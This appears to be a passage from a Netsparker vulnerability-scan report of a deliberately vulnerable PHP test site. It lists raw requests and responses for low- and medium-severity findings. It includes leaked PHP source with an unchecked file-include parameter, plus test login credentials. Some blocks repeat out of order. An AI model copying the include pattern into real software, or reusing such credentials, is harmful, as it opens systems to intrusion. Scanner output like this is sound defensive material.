5370 <info name="Extracted Version"><![CDATA[5.2.6]]></info>
5371 </extrainformation>
5372
5373 <classification>
5374 <OWASP>A6</OWASP>
5375 <WASC>45</WASC>
5376 <CWE>205</CWE>
5377 <CAPEC>170</CAPEC>
5378 <PCI></PCI>
5379 <PCI2></PCI2>
5380 </classification>
5381
5382 </vulnerability>
5383 <vulnerability confirmed="False">
5384 <url>http://php.testsparker.com/process.php?file=Generics/about.nsp</url>
5385 <type>ProgrammingErrorMessages</type>
5386 <severity>Low</severity>
5387 <certainty>90</certainty>
5388
5389 <rawrequest><![CDATA[GET /process.php?file=Generics/about.nsp HTTP/1.1
5390 Cache-Control: no-cache
5391 Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
5392 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
5393 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
5394 X-Scanner: Netsparker
5395 Accept-Language: en-us,en;q=0.5
5396 Host: php.testsparker.com
5397 Accept-Encoding: gzip, deflate
5398
5399 ]]></rawrequest>
5400 <rawresponse><![CDATA[HTTP/1.1 200 OK
5401 Date: Fri, 29 Nov 2013 11:25:51 GMT
5402 Server: Apache/2.2.8 (Win32) PHP/5.2.6
5403 X-Powered-By: PHP/5.2.6
5404 Content-Length: 3327
5405 Content-Type: text/html
5406
5407
5408 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
5409 <html xmlns="http://www.w3.org/1999/xhtml">
5410 <head>
5411 <meta name="keywords" content="" />
5412 <meta name="description" content="" />
5413 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
5414 <title>Netsparker Test Web Site - PHP</title>
5415 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
5416 </head><body>
5417 <div id="wrapper">
5418
5419 <div id="menu">
5420 <ul>
5421 <li><a href="process.php?file=Generics/index.nsp">Home</a></li>
5422 <li><a href="hello.php?name=Visitor">Hello</a></li>
5423 <li><a href="products.php?pro=url">Products</a></li>
5424 <li><a href="process.php?file=Generics/about.nsp">About</a></li>
5425 <li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
5426 <li><a href="auth/">Login</a></li>
5427 </ul>
5428 </div>
5429 <!-- end #menu -->
5430 <div id="header">
5431
5432 </div>
5433 <!-- end #header -->
5434 <div id="page">
5435 <div id="page-bgtop">
5436 <div id="page-bgbtm">
5437 <div id="content">
5438 <div class="post">
5439
5440 <div class="entry">
5441 <h1 class="title"><a href="/process.php?file=Generics/about.nsp">About </a></h1>
5442 <p>This is a test and demonstration site for Netsparker , Next Generation Web
5443 Application Security Scanner.
5444 <p>
5445 This testing web site contains a lot of vulnerabilities on different vulnerability classes.
5446 <p>Start Netsparker to scan this web site and let it find the vulnerabilities. </p>
5447 </p>
5448
5449 </div>
5450 </div>
5451 <div style="clear: both;">&nbsp;</div>
5452 </div>
5453 <!-- end #content -->
5454
5455 <div id="sidebar">
5456 <ul>
5457 <li>
5458 <div id="search" >
5459 <form method="get" action="artist.php">
5460 <div>
5461 <input type="text" name="s" id="search-text" value="" />
5462 <input type="submit" id="search-submit" value="GO" />
5463 </div>
5464 </form>
5465
5466 </div>
5467 <div style="clear: both;">&nbsp;</div>
5468 </li>
5469 <li>
5470 <h2>Tags</h2>
5471 <p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
5472 </li>
5473 <li>
5474 <h2>Inner Pages</h2>
5475 <ul>
5476 <li><a href="artist.php?id=test">Artist Search</a></li>
5477 <li><a href="nslookup.php">Lookup Service</a></li>
5478 </ul>
5479 </li>
5480 <li>
5481 <h2>Links</h2>
5482 <ul>
5483 <li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
5484 <li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
5485 </ul>
5486 </li>
5487 </ul>
5488 </div> <!-- end #sidebar -->
5489 <div style="clear: both;">&nbsp;</div>
5490 </div>
5491 </div>
5492 </div>
5493
4849 </cross-domain-policy>]]></rawresponse>
4850 <extrainformation>
4851 <info name="Policy Rules"><![CDATA[<allow-access-from domain="*" />]]></info>
4852 </extrainformation>
4853
4854 <classification>
4855 <OWASP>A6</OWASP>
4856 <WASC>15</WASC>
4857 <CWE>16</CWE>
4858 <CAPEC></CAPEC>
4859 <PCI></PCI>
4860 <PCI2></PCI2>
4861 </classification>
4862
4863 </vulnerability>
4864 <vulnerability confirmed="True">
4865 <url>http://php.testsparker.com/clientaccesspolicy.xml</url>
4866 <type>OpenClientAccessPolicy</type>
4867 <severity>Medium</severity>
4868 <certainty>100</certainty>
4869
4870 <rawrequest><![CDATA[GET /clientaccesspolicy.xml HTTP/1.1
4871 Cache-Control: no-cache
4872 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
4873 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
4874 X-Scanner: Netsparker
4875 Accept-Language: en-us,en;q=0.5
4876 Host: php.testsparker.com
4877 Accept-Encoding: gzip, deflate
4878
4879 ]]></rawrequest>
4880 <rawresponse><![CDATA[HTTP/1.1 200 OK
4881 Date: Fri, 29 Nov 2013 11:25:41 GMT
4882 Server: Apache/2.2.8 (Win32) PHP/5.2.6
4883 ETag: "30000000199e2-118-498e0196a2efd"
4884 Accept-Ranges: bytes
4885 X-Pad: avoid browser bug
4886 Content-Length: 280
4887 Content-Type: application/xml
4888 Last-Modified: Sun, 02 Jan 2011 17:09:33 GMT
4889
4890 <?xml version="1.0" encoding="utf-8"?>
4891 <access-policy>
4892 <cross-domain-access>
4893 <allow-from http-request-headers="*">
4894 <domain uri="*"/>
4895 </allow-from>
4896 <grant-to>
4897 <resource path="/" include-subpaths="true"/>
4898 </grant-to>
4899 </cross-domain-access>
4900 </access-policy>]]></rawresponse>
4901 <extrainformation>
4902 <info name="Policy Rules"><![CDATA[*]]></info>
4903 </extrainformation>
4904
4905 <classification>
4906 <OWASP>A6</OWASP>
4907 <WASC>15</WASC>
4908 <CWE>16</CWE>
4909 <CAPEC></CAPEC>
4910 <PCI></PCI>
4911 <PCI2></PCI2>
4912 </classification>
4913
4914 </vulnerability>
4915 <vulnerability confirmed="False">
4916 <url>http://php.testsparker.com/process.bak?nsextt=NSFTW</url>
4917 <type>PhpSourceCodeDisclosure</type>
4918 <severity>Medium</severity>
4919 <certainty>75</certainty>
4920
4921 <rawrequest><![CDATA[GET /process.bak?nsextt=NSFTW HTTP/1.1
4922 Cache-Control: no-cache
4923 Referer: http://php.testsparker.com/process.bak
4924 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
4925 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
4926 X-Scanner: Netsparker
4927 Accept-Language: en-us,en;q=0.5
4928 Host: php.testsparker.com
4929 Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056
4930 Accept-Encoding: gzip, deflate
4931
4932 ]]></rawrequest>
4933 <rawresponse><![CDATA[HTTP/1.1 200 OK
4934 Date: Fri, 29 Nov 2013 11:28:31 GMT
4935 Server: Apache/2.2.8 (Win32) PHP/5.2.6
4936 ETag: "30000000199eb-363-481496ef4391c"
4937 Accept-Ranges: bytes
4938 Content-Length: 867
4939 Content-Type: text/plain
4940 Last-Modified: Mon, 08 Mar 2010 12:45:00 GMT
4941
4942 <?php
4943 require("auth.php");
4944 ini_set("display_errors","0");
4945
4946 //global configuration area
4947 $globals["title"] = "Netsparker Test Web Site - PHP";
4948 function EndsWith($FullStr, $EndStr)
4949 {
4950 // Get the length of the end string
4951 $StrLen = strlen($EndStr);
4952 // Look at the end of FullStr for the substring the size of EndStr
4953 $FullStrEnd = substr($FullStr, strlen($FullStr) - $StrLen);
4954 // If it matches, it does end with EndStr
4955 return $FullStrEnd == $EndStr;
4956 }
4957 ?>
4958
4959 <?php include "Internals/header.php"?>
4960 <body>
4961 <div id="wrapper">
4962 <?php include "Internals/upmenu.php"?>
4963 <?php
4964 $file = $_REQUEST["file"];
4965 if(EndsWith($file,".nsp"))
4966 include $_REQUEST["file"];
4967 ?>
4968 <!-- end #page -->
4969 </div>
4970
4971 <?php include "Internals/footer.php"?>
4972 <!-- end #footer -->
4973 </body>
4974 </html>
4975 ]]></rawresponse>
4976 <extrainformation>
4977 </extrainformation>
4978
4979 <classification>
4980 <OWASP>A6</OWASP>
4981 <WASC>13</WASC>
4982 <CWE>540</CWE>
4983 <CAPEC>118</CAPEC>
4984 <PCI>6.5.6</PCI>
4985 <PCI2></PCI2>
4986 </classification>
4987
4988 </vulnerability>
4989 <vulnerability confirmed="True">
4990 <url>http://php.testsparker.com/auth/login.php</url>
4991 <type>AutoCompleteEnabled</type>
4992 <severity>Low</severity>
4993 <certainty>100</certainty>
4994
4995 <rawrequest><![CDATA[GET /auth/login.php HTTP/1.1
4996 Cache-Control: no-cache
4997 Referer: http://php.testsparker.com/auth/
4998 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
4999 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
5000 X-Scanner: Netsparker
5001 Accept-Language: en-us,en;q=0.5
5002 Host: php.testsparker.com
5003 Accept-Encoding: gzip, deflate
5004
5005 ]]></rawrequest>
5006 <rawresponse><![CDATA[HTTP/1.1 200 OK
5007 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
5008 Date: Fri, 29 Nov 2013 11:26:26 GMT
5009 Pragma: no-cache
5010 Server: Apache/2.2.8 (Win32) PHP/5.2.6
5011 X-Powered-By: PHP/5.2.6
5012 Set-Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056; path=/
5013 Content-Length: 3108
5014 Content-Type: text/html
5015 Expires: Thu, 19 Nov 1981 08:52:00 GMT
5016
5017
5018 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
5019 <html xmlns="http://www.w3.org/1999/xhtml">
5020 <head>
5021 <meta name="keywords" content="" />
5022 <meta name="description" content="" />
5023 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
5024 <title>Netsparker Test Web Site - PHP</title>
5025 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
5026 </head><body>
5027 <div id="wrapper">
5028
5029 <div id="menu">
5030 <ul>
5031 <li><a href="../process.php?file=Generics/index.nsp">Home</a></li>
5032 <li><a href="../hello.php?name=Visitor">Hello</a></li>
5033 <li><a href="../products.php?pro=url">Products</a></li>
5034 <li><a href="../process.php?file=Generics/about.nsp">About</a></li>
5035 <li><a href="../process.php?file=Generics/contact.nsp">Contact</a></li>
5036 <li><a href="">Login</a></li>
5037 </ul>
5038 </div>
5039 <!-- end #menu -->
5040 <div id="header">
5041
5042 </div>
5043 <!-- end #header --> <div id="page">
5044 <div id="page-bgtop">
5045 <div id="page-bgbtm">
5046 <div id="content">
5047 <div class="post">
5048 <h1 class="title"><a href="#">Login Area</a></h1>
5049 <p>
5050 Enter your credentials (admin / admin123456)
5051 <br/>
5052 <form method="POST" action="control.php">
5053 Username: <input type="text" name="username"/>
5054 <br/>
5055 Password:&nbsp;&nbsp;<input type="password" name="password"/>
5056 <!-- Test credentials -->
5057 <!-- Password: admin123456 -->
5058 <br/>
5059 <br/>
5060 <input type="submit" value="SUBMIT">
5061 </form>
5062 </p>
5063
5064 <div style="clear: both;">&nbsp;</div>
5065 <div class="entry">
5066
5067
5068 </div>
5069 </div>
5070 <div style="clear: both;">&nbsp;</div>
5071 </div>
5072 <!-- end #content -->
5073
5074 <div id="sidebar">
5075 <ul>
5076 <li>
5077 <div id="search" >
5078 <form method="get" action="../artist.php">
5079 <div>
5080 <input type="text" name="s" id="search-text" value="" />
5081 <input type="submit" id="search-submit" value="GO" />
5082 </div>
5083 </form>
5084
5085 </div>
5086 <div style="clear: both;">&nbsp;</div>
5087 </li>
5088 <li>
5089 <h2>Tags</h2>
5090 <p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
5091 </li>
5092 <li>
5093 <h2>Inner Pages</h2>
5094 <ul>
5095 <li><a href="../artist.php?id=test">Artist Search</a></li>
5096 <li><a href="../nslookup.php">Lookup Service</a></li>
5097 </ul>
5098 </li>
5099 <li>
5100 <h2>Links</h2>
5101 <ul>
5102 <li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
5103 <li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
5104 </ul>
5105 </li>
5106 <li>
5107
5108 </ul>
5109 </div> <!-- end #sidebar -->
5110 <div style="clear: both;">&nbsp;</div>
5111 </div>
5112 </div>
5113 </div>
5114 <!-- end #page -->
5115 </div>
5116 v
5117 <div id="footer">
5118 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
5119 </div> <!-- end #footer -->
5120 </body>
5121 </html>
5122 ]]></rawresponse>
5123 <extrainformation>
5124 <info name="Identified Field Name"><![CDATA[password]]></info>
5125 </extrainformation>
5126
5127 <classification>
5128 <OWASP>A6</OWASP>
5129 <WASC>15</WASC>
5130 <CWE>16</CWE>
5131 <CAPEC></CAPEC>
5132 <PCI></PCI>
5133 <PCI2></PCI2>
5134 </classification>
5135
5136 </vulnerability>
5137 <vulnerability confirmed="True">
5138 <url>http://php.testsparker.com/auth/login.php</url>
5139 <type>CookieNotMarkedAsHttpOnly</type>
5140 <severity>Low</severity>
5141 <certainty>100</certainty>
5142
5143 <rawrequest><![CDATA[GET /auth/login.php HTTP/1.1
5144 Cache-Control: no-cache
5145 Referer: http://php.testsparker.com/auth/
5146 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
5147 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
5148 X-Scanner: Netsparker
5149 Accept-Language: en-us,en;q=0.5
5150 Host: php.testsparker.com
5151 Accept-Encoding: gzip, deflate
5152
5153 ]]></rawrequest>
5154 <rawresponse><![CDATA[HTTP/1.1 200 OK
5155 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
5156 Date: Fri, 29 Nov 2013 11:26:26 GMT
5157 Pragma: no-cache
5158 Server: Apache/2.2.8 (Win32) PHP/5.2.6
5159 X-Powered-By: PHP/5.2.6
5160 Set-Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056; path=/
5161 Content-Length: 3108
5162 Content-Type: text/html
5163 Expires: Thu, 19 Nov 1981 08:52:00 GMT
5164
5165
5166 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
5167 <html xmlns="http://www.w3.org/1999/xhtml">
5168 <head>
5169 <meta name="keywords" content="" />
5170 <meta name="description" content="" />
5171 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
5172 <title>Netsparker Test Web Site - PHP</title>
5173 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
5174 </head><body>
5175 <div id="wrapper">
5176
5177 <div id="menu">
5178 <ul>
5179 <li><a href="../process.php?file=Generics/index.nsp">Home</a></li>
5180 <li><a href="../hello.php?name=Visitor">Hello</a></li>
5181 <li><a href="../products.php?pro=url">Products</a></li>
5182 <li><a href="../process.php?file=Generics/about.nsp">About</a></li>
5183 <li><a href="../process.php?file=Generics/contact.nsp">Contact</a></li>
5184 <li><a href="">Login</a></li>
5185 </ul>
5186 </div>
5187 <!-- end #menu -->
5188 <div id="header">
5189
5190 </div>
5191 <!-- end #header --> <div id="page">
5192 <div id="page-bgtop">
5193 <div id="page-bgbtm">
5194 <div id="content">
5195 <div class="post">
5196 <h1 class="title"><a href="#">Login Area</a></h1>
5197 <p>
5198 Enter your credentials (admin / admin123456)
5199 <br/>
5200 <form method="POST" action="control.php">
5201 Username: <input type="text" name="username"/>
5202 <br/>
5203 Password:&nbsp;&nbsp;<input type="password" name="password"/>
5204 <!-- Test credentials -->
5205 <!-- Password: admin123456 -->
5206 <br/>
5207 <br/>
5208 <input type="submit" value="SUBMIT">
5209 </form>
5210 </p>
5211
5212 <div style="clear: both;">&nbsp;</div>
5213 <div class="entry">
5214
5215
5216 </div>
5217 </div>
5218 <div style="clear: both;">&nbsp;</div>
5219 </div>
5220 <!-- end #content -->
5221
5222 <div id="sidebar">
5223 <ul>
5224 <li>
5225 <div id="search" >
5226 <form method="get" action="../artist.php">
5227 <div>
5228 <input type="text" name="s" id="search-text" value="" />
5229 <input type="submit" id="search-submit" value="GO" />
5230 </div>
5231 </form>
5232
5233 </div>
5234 <div style="clear: both;">&nbsp;</div>
5235 </li>
5236 <li>
5237 <h2>Tags</h2>
5238 <p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
5239 </li>
5240 <li>
5241 <h2>Inner Pages</h2>
5242 <ul>
5243 <li><a href="../artist.php?id=test">Artist Search</a></li>
5244 <li><a href="../nslookup.php">Lookup Service</a></li>
5245 </ul>
5246 </li>
5247 <li>
5248 <h2>Links</h2>
5249 <ul>
5250 <li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
5251 <li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
5252 </ul>
5253 </li>
5254 <li>
5255
5256 </ul>
5257 </div> <!-- end #sidebar -->
5258 <div style="clear: both;">&nbsp;</div>
5259 </div>
5260 </div>
5261 </div>
5262 <!-- end #page -->
5263 </div>
5264 v
5265 <div id="footer">
5266 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
5267 </div> <!-- end #footer -->
5268 </body>
5269 </html>
5270 ]]></rawresponse>
5271 <extrainformation>
5272 <info name="Identified Cookie"><![CDATA[PHPSESSID]]></info>
5273 </extrainformation>
5274
5275 <classification>
5276 <OWASP>A6</OWASP>
5277 <WASC>15</WASC>
5278 <CWE>16</CWE>
5279 <CAPEC>107</CAPEC>
5280 <PCI></PCI>
5281 <PCI2></PCI2>
5282 </classification>
5283
5284 </vulnerability>
5285 <vulnerability confirmed="False">
5286 <url>http://php.testsparker.com/</url>
5287 <type>ApacheVersionDisclosure</type>
5288 <severity>Low</severity>
5289 <certainty>90</certainty>
5290
5291 <rawrequest><![CDATA[GET / HTTP/1.1
5292 Cache-Control: no-cache
5293 Connection: Keep-Alive
5294 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
5295 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
5296 X-Scanner: Netsparker
5297 Accept-Language: en-us,en;q=0.5
5298 Host: php.testsparker.com
5299 Accept-Encoding: gzip, deflate
5300
5301 ]]></rawrequest>
5302 <rawresponse><![CDATA[HTTP/1.1 200 OK
5303 Connection: Keep-Alive
5304 Date: Fri, 29 Nov 2013 11:25:33 GMT
5305 Server: Apache/2.2.8 (Win32) PHP/5.2.6
5306 X-Powered-By: PHP/5.2.6
5307 Keep-Alive: timeout=5, max=100
5308 Content-Length: 144
5309 Content-Type: text/html
5310
5311 <html>
5312 <HEAD>
5313 <SCRIPT language="JavaScript">
5314 <!--
5315 window.location="process.php?file=Generics/index.nsp";
5316 //-->
5317 </SCRIPT>
5318 </HEAD>
5319 </html>]]></rawresponse>
5320 <extrainformation>
5321 <info name="Extracted Version"><![CDATA[2.2.8]]></info>
5322 </extrainformation>
5323
5324 <classification>
5325 <OWASP>A6</OWASP>
5326 <WASC>45</WASC>
5327 <CWE>205</CWE>
5328 <CAPEC>170</CAPEC>
5329 <PCI></PCI>
5330 <PCI2></PCI2>
5331 </classification>
5332
5333 </vulnerability>
5334 <vulnerability confirmed="False">
5335 <url>http://php.testsparker.com/</url>
5336 <type>PhpVersionDisclosure</type>
5337 <severity>Low</severity>
5338 <certainty>90</certainty>
5339
5340 <rawrequest><![CDATA[GET / HTTP/1.1
5341 Cache-Control: no-cache
5342 Connection: Keep-Alive
5343 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
5344 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
5345 X-Scanner: Netsparker
5346 Accept-Language: en-us,en;q=0.5
5347 Host: php.testsparker.com
5348 Accept-Encoding: gzip, deflate
5349
5350 ]]></rawrequest>
5351 <rawresponse><![CDATA[HTTP/1.1 200 OK
5352 Connection: Keep-Alive
5353 Date: Fri, 29 Nov 2013 11:25:33 GMT
5354 Server: Apache/2.2.8 (Win32) PHP/5.2.6
5355 X-Powered-By: PHP/5.2.6
5356 Keep-Alive: timeout=5, max=100
5357 Content-Length: 144
5358 Content-Type: text/html
5359
5360 <html>
5361 <HEAD>
5362 <SCRIPT language="JavaScript">
5363 <!--
5364 window.location="process.php?file=Generics/index.nsp";
5365 //-->
5366 </SCRIPT>
5367 </HEAD>
5368 </html>]]></rawresponse>
5369 <extrainformation>
5370 <info name="Extracted Version"><![CDATA[5.2.6]]></info>
5371 </extrainformation>
5372
5373 <classification>
5374 <OWASP>A6</OWASP>
5375 <WASC>45</WASC>
5376 <CWE>205</CWE>
5377 <CAPEC>170</CAPEC>
5378 <PCI></PCI>
5379 <PCI2></PCI2>
5380 </classification>
5381
5382 </vulnerability>
5383 <vulnerability confirmed="False">
5384 <url>http://php.testsparker.com/process.php?file=Generics/about.nsp</url>
5385 <type>ProgrammingErrorMessages</type>
5386 <severity>Low</severity>
5387 <certainty>90</certainty>
5388
5389 <rawrequest><![CDATA[GET /process.php?file=Generics/about.nsp HTTP/1.1
5390 Cache-Control: no-cache
5391 Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
5392 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
5393 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
5394 X-Scanner: Netsparker
5395 Accept-Language: en-us,en;q=0.5
5396 Host: php.testsparker.com
5397 Accept-Encoding: gzip, deflate
5398
5399 ]]></rawrequest>
5400 <rawresponse><![CDATA[HTTP/1.1 200 OK
5401 Date: Fri, 29 Nov 2013 11:25:51 GMT
5402 Server: Apache/2.2.8 (Win32) PHP/5.2.6
5403 X-Powered-By: PHP/5.2.6
5404 Content-Length: 3327
5405 Content-Type: text/html
5406
5407
5408 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
5409 <html xmlns="http://www.w3.org/1999/xhtml">
5410 <head>
5411 <meta name="keywords" content="" />
5412 <meta name="description" content="" />
5413 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
5414 <title>Netsparker Test Web Site - PHP</title>
5415 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
5416 </head><body>
5417 <div id="wrapper">
5418
5419 <div id="menu">
5420 <ul>
5421 <li><a href="process.php?file=Generics/index.nsp">Home</a></li>
5422 <li><a href="hello.php?name=Visitor">Hello</a></li>
5423 <li><a href="products.php?pro=url">Products</a></li>
5424 <li><a href="process.php?file=Generics/about.nsp">About</a></li>
5425 <li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
5426 <li><a href="auth/">Login</a></li>
5427 </ul>
5428 </div>
5429 <!-- end #menu -->
5430 <div id="header">
5431
5432 </div>
5433 <!-- end #header -->
5434 <div id="page">
5435 <div id="page-bgtop">
5436 <div id="page-bgbtm">
5437 <div id="content">
5438 <div class="post">
5439
5440 <div class="entry">
5441 <h1 class="title"><a href="/process.php?file=Generics/about.nsp">About </a></h1>
5442 <p>This is a test and demonstration site for Netsparker , Next Generation Web
5443 Application Security Scanner.
5444 <p>
5445 This testing web site contains a lot of vulnerabilities on different vulnerability classes.
5446 <p>Start Netsparker to scan this web site and let it find the vulnerabilities. </p>
5447 </p>
5448
5449 </div>
5450 </div>
5451 <div style="clear: both;">&nbsp;</div>
5452 </div>
5453 <!-- end #content -->
5454
5455 <div id="sidebar">
5456 <ul>
5457 <li>
5458 <div id="search" >
5459 <form method="get" action="artist.php">
5460 <div>
5461 <input type="text" name="s" id="search-text" value="" />
5462 <input type="submit" id="search-submit" value="GO" />
5463 </div>
5464 </form>
5465
5466 </div>
5467 <div style="clear: both;">&nbsp;</div>
5468 </li>
5469 <li>
5470 <h2>Tags</h2>
5471 <p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
5472 </li>
5473 <li>
5474 <h2>Inner Pages</h2>
5475 <ul>
5476 <li><a href="artist.php?id=test">Artist Search</a></li>
5477 <li><a href="nslookup.php">Lookup Service</a></li>
5478 </ul>
5479 </li>
5480 <li>
5481 <h2>Links</h2>
5482 <ul>
5483 <li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
5484 <li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
5485 </ul>
5486 </li>
5487 </ul>
5488 </div> <!-- end #sidebar -->
5489 <div style="clear: both;">&nbsp;</div>
5490 </div>
5491 </div>
5492 </div>
5493
54945494 <br />
54955495 <b>Warning</b>: mysql_connect() [<a href='function.mysql-connect'>function.mysql-connect</a>]: Access denied for user 'root'@'localhost' (using password: YES) in <b>C:\AppServ\www\Generics\about.nsp</b> on line <b>31</b><br />
5496 asd <!-- process.php load pages from path of the website. -->
5497 <!-- FIXME: File / directory permissions -->
5498 <!-- end #page -->
5499 </div>
5500
5501 <div id="footer">
5502 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
5503 </div> <!-- end #footer -->
5504 </body>
5505 </html>
5506 ]]></rawresponse>
5507 <extrainformation>
5508 <info name="Identified Error Message"><![CDATA[<b>Warning</b>: mysql_connect() [<a href='function.mysql-connect'>function.mysql-connect</a>]: Access denied for user 'root'@'localhost' (using password: YES) in <b>C:\AppServ\www\Generics\about.nsp</b> on line <b>31</b>]]></info>
5509 </extrainformation>
5510
5511 <classification>
5512 <OWASP>A6</OWASP>
5513 <WASC>13</WASC>
5514 <CWE>210</CWE>
5515 <CAPEC>118</CAPEC>
5516 <PCI>6.5.6</PCI>
5517 <PCI2>6.5.5</PCI2>
5518 </classification>
5519
5520 </vulnerability>
5521 <vulnerability confirmed="True">
5522 <url>http://php.testsparker.com/.svn/</url>
5523 <type>OptionsMethodEnabled</type>
5524 <severity>Low</severity>
5525 <certainty>100</certainty>
5526
5527 <rawrequest><![CDATA[OPTIONS /.svn/ HTTP/1.1
5528 Cache-Control: no-cache
5529 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
5530 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
5531 X-Scanner: Netsparker
5532 Accept-Language: en-us,en;q=0.5
5533 Host: php.testsparker.com
5534 Accept-Encoding: gzip, deflate
5535
5536 ]]></rawrequest>
5537 <rawresponse><![CDATA[HTTP/1.1 200 OK
5538 Date: Fri, 29 Nov 2013 11:25:53 GMT
5539 Server: Apache/2.2.8 (Win32) PHP/5.2.6
5540 Allow: GET,HEAD,POST,OPTIONS,TRACE
5541 Content-Length: 0
5542 Content-Type: httpd/unix-directory
5543
5544 ]]></rawresponse>
5545 <extrainformation>
5546 <info name="Allowed methods"><![CDATA[GET,HEAD,POST,OPTIONS,TRACE]]></info>
5547 </extrainformation>
5548
5549 <classification>
5550 <OWASP>A6</OWASP>
5551 <WASC>14</WASC>
5552 <CWE>16</CWE>
5553 <CAPEC>107</CAPEC>
5554 <PCI></PCI>
5555 <PCI2></PCI2>
5556 </classification>
5557
5558 </vulnerability>
5559 <vulnerability confirmed="False">
5560 <url>http://php.testsparker.com/process.php?file=Generics/about.nsp</url>
5561 <type>CsrfDetected</type>
5562 <severity>Low</severity>
5563 <certainty>90</certainty>
5564
5565 <rawrequest><![CDATA[GET /process.php?file=Generics/about.nsp HTTP/1.1
5566 Cache-Control: no-cache
5567 Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
5568 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
5569 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
5570 X-Scanner: Netsparker
5571 Accept-Language: en-us,en;q=0.5
5572 Host: php.testsparker.com
5573 Accept-Encoding: gzip, deflate
5574
5575 ]]></rawrequest>
5576 <rawresponse><![CDATA[HTTP/1.1 200 OK
5577 Date: Fri, 29 Nov 2013 11:25:51 GMT
5578 Server: Apache/2.2.8 (Win32) PHP/5.2.6
5579 X-Powered-By: PHP/5.2.6
5580 Content-Length: 3327
5581 Content-Type: text/html
5582
5583
5584 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
5585 <html xmlns="http://www.w3.org/1999/xhtml">
5586 <head>
5587 <meta name="keywords" content="" />
5588 <meta name="description" content="" />
